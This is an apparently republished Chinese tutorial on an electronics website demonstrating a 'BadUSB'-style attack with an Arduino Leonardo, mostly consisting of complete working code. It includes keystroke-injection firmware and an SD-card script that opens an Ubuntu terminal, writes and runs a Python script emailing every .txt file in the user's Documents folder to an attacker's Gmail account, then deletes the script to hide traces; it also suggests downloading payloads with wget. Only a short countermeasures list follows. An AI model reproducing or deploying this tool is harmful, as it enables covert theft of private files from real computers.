0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

Arduino键盘漏洞演示及解决办法

454398 来源:工程师吴畏 2019-08-07 09:02 次阅读

第1步:材料

零件:

1 。 Arduino leonardo

2。 micro USB读卡器

3。SD

4。按钮(VCC,地面和信号

5。跨接电缆

6。 micro USB转USB电缆

步骤2:构建设备

之前构建指令让我们回顾一下工作原理

Arduino leonardo可以像人机界面设备(HID)一样运行,因此可以模拟鼠标和键盘。我们将使用此功能打开终端(在UBUNTU linux中)并编写一个小脚本,该脚本将访问用户主文件夹中的/Documents文件夹复制.txt文件并将其通过电子邮件发送给某人。如果您想了解更多详细信息,请查看下一步。

因为它是一个演示设备,所以事情非常简单,我们不会焊接任何东西。

构建说明

1。组装组件:

*插入arduino中的micro USB线

*将钥匙开关连接到arduino(接地,vcc和out模块)至D8)

*将读卡器连接到arduino(使用ICSP标头)。 Arduino leonardo没有将ICSP接头连接到数字引脚,因此您需要将读卡器连接到ICSP接头。您可以在此处找到ICSP的一些图纸:https://learn.sparkfun.com/tutorials/installing-an 。..。将SS引脚连接到数字引脚10

2. 获取arduino代码 :

#include “Keyboard.h”

#include “SPI.h”

#include “SD.h”

String filenameOnCard = “hack.txt”;

String sleepCommandStartingPoint = “Sleep::”;

String commandStartingPoint = “Command::”;

int delayBetweenCommands = 10;

const int buttonPin = 8;

const int chipSelect = 10;

int previousButtonState = HIGH;

void setup() {

pinMode(buttonPin, INPUT);

Serial.begin(9600);

Keyboard.begin();

if (!SD.begin(chipSelect)) {

Serial.println(“Card failedor not present!”);

return;

}

}

void loop() {

int buttonState = digitalRead(buttonPin);

if ((buttonState != previousButtonState) && (buttonState == HIGH)) {

sdFileToKeyboard();

Serial.println(“Uploaded!”);

delay(500);

}

previousButtonState = buttonState;

}

void sdFileToKeyboard() {

File dataFile = SD.open(filenameOnCard);

if (!dataFile) {

Serial.println(“The specified filename is not present on SD card, check filenameOnCard !”);

}

String line;

while (dataFile.available()) {

line = dataFile.readStringUntil(‘ ’);

Serial.println(line);

sendToKeyboard(line);

}

dataFile.close();

}

void sendToKeyboard(String line) {

String workingLine = line;

if (workingLine.indexOf(sleepCommandStartingPoint) != -1) {

sleepFor(line);

return;

}

if (workingLine.indexOf(commandStartingPoint) == -1) {

Serial.print(“Text:”);Serial.println(line);

Keyboard.println(line);

pressEnter();

return;

}

Serial.println(“Command:”);

int charPosition = commandStartingPoint.length();

int lineLength = line.length();

workingLine += “,”;

while (workingLine != “”) {

workingLine = workingLine.substring(charPosition);

Serial.print(“WorkingLine:”);Serial.println(workingLine);

int specialCommandDelimiterPosition = workingLine.indexOf(“,”);

String command = workingLine.substring(0, specialCommandDelimiterPosition);

charPosition = specialCommandDelimiterPosition + 1;

if (command != “”) {

Serial.print(“Command found:”);Serial.println(command);

Keyboard.press(getCommandCode(command));

delay(delayBetweenCommands);

}

}

Keyboard.releaseAll();

delay(delayBetweenCommands);

}

void pressEnter() {

Keyboard.press(KEY_RETURN);

Keyboard.releaseAll();

}

void sleepFor(String line) {

int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt();

Serial.print(“Sleeping for:”);Serial.println(sleepAmount);

delay(sleepAmount);

}

char getCommandCode(String text) {

char textCharacters[2];

text.toCharArray(textCharacters, 2);

char code = textCharacters[0];

code = (text == “KEY_LEFT_CTRL”) ? KEY_LEFT_CTRL : code;

code = (text == “KEY_LEFT_SHIFT”) ? KEY_LEFT_SHIFT : code;

code = (text == “KEY_LEFT_ALT”) ? KEY_LEFT_ALT : code;

code = (text == “KEY_UP_ARROW”) ? KEY_UP_ARROW : code;

code = (text == “KEY_DOWN_ARROW”) ? KEY_DOWN_ARROW : code;

code = (text == “KEY_LEFT_ARROW”) ? KEY_LEFT_ARROW : code;

code = (text == “KEY_RIGHT_ARROW”) ? KEY_RIGHT_ARROW : code;

code = (text == “KEY_RIGHT_GUI”) ? KEY_RIGHT_GUI : code;

code = (text == “KEY_BACKSPACE”) ? KEY_BACKSPACE : code;

code = (text == “KEY_TAB”) ? KEY_TAB : code;

code = (text == “KEY_RETURN”) ? KEY_RETURN : code;

code = (text == “KEY_ESC”) ? KEY_ESC : code;

code = (text == “KEY_INSERT”) ? KEY_INSERT : code;

code = (text == “KEY_DELETE”) ? KEY_DELETE : code;

code = (text == “KEY_PAGE_UP”) ? KEY_PAGE_UP : code;

code = (text == “KEY_PAGE_DOWN”) ? KEY_PAGE_DOWN : code;

code = (text == “KEY_HOME”) ? KEY_HOME : code;

code = (text == “KEY_END”) ? KEY_END : code;

code = (text == “KEY_CAPS_LOCK”) ? KEY_CAPS_LOCK : code;

code = (text == “KEY_F1”) ? KEY_F1 : code;

code = (text == “KEY_F2”) ? KEY_F2 : code;

code = (text == “KEY_F3”) ? KEY_F3 : code;

code = (text == “KEY_F4”) ? KEY_F4 : code;

code = (text == “KEY_F5”) ? KEY_F5 : code;

code = (text == “KEY_F6”) ? KEY_F6 : code;

code = (text == “KEY_F7”) ? KEY_F7 : code;

code = (text == “KEY_F8”) ? KEY_F8 : code;

code = (text == “KEY_F9”) ? KEY_F9 : code;

code = (text == “KEY_F10”) ? KEY_F10 : code;

code = (text == “KEY_F11”) ? KEY_F1 : code;

code = (text == “KEY_F12”) ? KEY_F2 : code;

return code;

}

3。将代码上传到arduino ,请务必选择9600波特率,串口和arduino leonardo

4。 使用FAT16或FAT32格式化SD卡

5。如果您从上面克隆了github repo,复制卡上的hack.txt文件,如果不是,则下面列出了该文件:

Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,t

Sleep::500

vi hack.py

Sleep::300

Command::KEY_INSERT

import smtplib

import glob, os

from os.path import expanduser

from email.MIMEMultipart import MIMEMultipart

from email.MIMEBase import MIMEBase

from email.MIMEText import MIMEText

from email.Utils import COMMASPACE, formatdate

from email import Encoders

smtp_user = ‘sender_gmail_address’

smtp_pass = ‘sender_gmail_password’

to_address = ‘receiver_address’

scan_documents_location = ‘Documents’

subject = body = ‘Files from hacked computer’

header = ‘To :{0} From : {1} Subject : {2} ’.format(to_address, smtp_user, subject)

def sendMail(to, subject, text, files=[]):

msg = MIMEMultipart()

msg[‘From’] = smtp_user

msg[‘To’] = COMMASPACE.join(to)

msg[‘Date’] = formatdate(localtime=True)

msg[‘Subject’] = subject

msg.attach(MIMEText(text))

for file in files:

part = MIMEBase(‘application’, “octet-stream”)

part.set_payload(open(file,“rb”).read())

Encoders.encode_base64(part)

part.add_header(‘Content-Disposition’, ‘attachment; filename=“%s”’

% os.path.basename(file))

msg.attach(part)

server = smtplib.SMTP(‘smtp.gmail.com:587’)

server.starttls()

server.login(smtp_user, smtp_pass)

server.sendmail(smtp_user, to, msg.as_string())

server.quit()

sendMail([to_address], subject, body, glob.glob(“{0}/{1}/*.txt”.format(expanduser(“~”), scan_documents_location)))

Sleep::50

Command::KEY_ESC

Sleep::100

:x

Sleep::500

nohup python hack.py &

Sleep::700

rm -rf hack.py

Sleep::400

Command::KEY_LEFT_ALT,KEY_F4

的 6。修改以下内容:

smtp_user = ‘sender_email_addr’

smtp_pass = ‘sender_password’

to_address = ‘receiver_address’

并替换为您的电子邮件地址

7。 取出卡并将其插入arduino读卡器

步骤3:如何在细节中工作

攻击如何工作:

1。按下按钮后,leonardo将使用SD卡阅读器读取SD卡。卡上将显示包含按键和按键组合的特殊文件。文件名是“hack.txt”。

该文件可以包含原始文本,它将按原样传递给键盘。

它还可以包含特殊命令,如“Sleep ::”和“Command ::”。

如下所示的行:

Sleep :: 200表示200 ms的睡眠

如下所示的行

Command :: KEY_LEFT_CTRL,KEY_LEFT_ALT,t表示按住左按钮,按下左按钮,按下t按钮并全部释放

您可以在此处检查所有特殊按键:https://www.arduino .CC/EN/参考/KeyboardModif 。..

2。莱昂纳多将逐行阅读,并解释命令并模拟键盘上的键。文件“hack.txt”包含执行以下操作的键组合(对于UBUNTU linux):

a。打开一个终端(CTRL + ALT + T)

b。使用vi打开一个用于创建的python文件(写入“vi hack.py”

c。写入一个python脚本,收集文档主文件夹中的所有文本文件,并将它们发送到指定的gmail地址

d。在后台运行文件(“nohup python hack.py&”)

e。删除文件(rm -rf hack.py)

f。关闭终端(ALT + F4)

整个过程会在几秒钟内完成并且不会留下痕迹。

增强功能和故障排除

*你可能会注意到,在我打开一个终端后,我正在编写python文件。更好的方法是将它托管在某处并使用“wget some_url”命令下载它,然后将其重命名为hack.py

*我们也可以为目标操作系统下载或运行现成的漏洞利用

* wifi可以添加到模块中,黑客可以通过WIFI上传

*您可以使用arduino micro(更小)并在其上嵌入漏洞利用代码(使其更小)

限制

1。由于模拟设备(键盘和鼠标)没有任何反馈,我们不知道发出命令后会发生什么,这意味着我们需要使用延迟。例如我发出一个打开终端的命令,但我不知道它什么时候会打开,所以我需要指定一个任意的延迟来确保输入的字符不会丢失。

2。我们可能会遇到许可问题,例如无法访问USB端口或安装某些内容的权限

3。打字速度对leonardo而言并不是那么好

4。仅适用于目标操作系统(在我们的案例中为UBUNTU linux)

在下一步中将尝试找到利用此限制的方法来防止我们的计算机被黑客入侵

第4步:对策

1。禁用USB端口

2。白名单USB设备:

3。不要以root身份登录(需要密码才能安装任何东西)

4。让自己保持最新(自动更新)

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 漏洞
    +关注

    关注

    0

    文章

    204

    浏览量

    15357
  • Arduino
    +关注

    关注

    187

    文章

    6463

    浏览量

    186621
收藏 人收藏

    评论

    相关推荐

    RS232串口通信中常见问题及解决办法

    RS232串口通信中常见问题及解决办法主要包括以下几个方面: 一、物理连接问题 问题 :串口线未插稳或接口松动。 解决办法 :重新插拔串口线,确保连接牢固。同时检查插头和针脚是否损坏,如有损坏需更换
    的头像 发表于 11-21 09:32 216次阅读

    PCBA板常见故障及解决办法

    和使用过程中可能会出现各种故障,以下是一些常见的故障及其解决办法: 1. 焊接不良 故障现象: 焊点不光滑、有空洞、焊料不足或过多、焊点开裂等。 解决办法: 检查焊接设备(如回流焊机)的温度曲线是否正确。 确保焊膏和焊料的质量符合要求。 检查焊接过程中是否有污染或氧化。
    的头像 发表于 11-18 10:20 167次阅读

    温控器常见故障及解决办法

    温控器是维持室内温度舒适的必备设备。然而,像所有电子设备一样,它们也可能出现故障。了解常见故障及其解决办法可以帮助您快速解决问题,避免不必要的维修费用。 一、温控器不工作 故障现象: 温控器显示正常
    的头像 发表于 11-06 13:51 1283次阅读

    电力电容器的常见故障及解决办法

    电力电容器是电力系统中用于改善功率因数、减少无功损耗、提高电能质量的重要设备。它们在运行过程中可能会出现各种故障,以下是一些常见的故障及其解决办法的介绍: 1. 电容器过热 故障原因: 环境温度
    的头像 发表于 11-04 09:32 276次阅读

    常见MCU故障及解决办法

    微控制器单元(MCU)是现代电子设备中的核心组件,负责处理和控制各种功能。然而,由于各种原因,MCU可能会出现故障。以下是一些常见的MCU故障及其解决办法: 1. 电源问题 故障现象: MCU无法
    的头像 发表于 11-01 13:41 566次阅读

    万用表常见故障及解决办法

    万用表是一种常用的电子测量工具,它能够测量电压、电流、电阻等多种电气参数。在使用过程中,万用表可能会出现一些故障,以下是一些常见的故障及其解决办法: 1. 无显示或显示异常 故障原因: 电池电量不足
    的头像 发表于 11-01 10:23 574次阅读

    常见元器件故障及解决办法

    在电子设备的日常使用和维护中,元器件的故障是不可避免的。了解常见元器件的故障类型及其解决办法,对于快速定位问题并进行修复至关重要。 1. 电阻器故障 故障现象: 电阻值变化:电阻器老化或损坏导致其实
    的头像 发表于 10-29 16:21 230次阅读

    海外大带宽服务器连接失败解决办法

     海外大带宽服务器连接失败可能由多种原因引起,以下是一些常见的故障排除步骤和可能的解决方案。Rak小编为您整理发布海外大带宽服务器连接失败解决办法
    的头像 发表于 09-29 09:53 165次阅读

    开源项目!基于 Arduino DIY 漂亮的宏机械键盘

    大大简化你的工作流程。 举个例子,你可以将宏键盘上的一个按键设置为 CTRL+C 快捷键的映射,这样,在需要复制文本或文件时,只需一键即可轻松完成。当你按下这个按键时,内置的 Arduino 会立即
    发表于 08-19 17:02

    聚徽触控 - 教学一体机常见故障及解决办法

    教学一体机在使用过程中可能会遇到多种故障,以下是一些常见的故障及解决办法
    的头像 发表于 07-01 15:44 722次阅读

    漏电开关跳闸的原因与解决办法

    漏电开关作为电力系统中保障用电安全的重要设备,其稳定性和可靠性直接关系到用户的用电安全。然而,在实际使用过程中,漏电开关跳闸的现象时有发生,给用户带来诸多不便。本文将从漏电开关跳闸的原因入手,分析其原因,并提出相应的解决办法,以期为用户提供一套全面、系统的解决方案。
    的头像 发表于 05-30 15:20 4235次阅读

    Profinet IO通信故障的解决办法

    Profinet IO通信故障可能由多种原因引起,以下是一些常见的通信故障及其解决办法
    的头像 发表于 03-08 11:27 1070次阅读

    晶振失效三大原因及解决办法

    晶振失效三大原因及解决办法 晶振失效是指晶体振荡器无法正常工作,造成电子设备不能正常运行的情况。晶振在电子设备中起到非常关键的作用,它是产生时钟信号的核心元件。晶振失效会导致设备的计时不准确甚至
    的头像 发表于 01-24 15:40 2138次阅读

    大模型训练loss突刺原因和解决办法

    PaLM和GLM130b之前的解决办法是找到loss spike之前最近的checkpoint,更换之后的训练样本来避免loss spike的出现。
    的头像 发表于 01-09 14:20 1233次阅读
    大模型训练loss突刺原因和<b class='flag-5'>解决办法</b>

    电动机轴向间隙的影响及解决办法

    电动机轴向间隙的影响及解决办法  电动机轴向间隙是指电动机转子与定子之间的空隙。它是电机运行过程中的一个重要参数,对电动机的性能和寿命有着重要的影响。本文将详细介绍电动机轴向间隙的影响因素及解决办法
    的头像 发表于 12-25 11:47 1873次阅读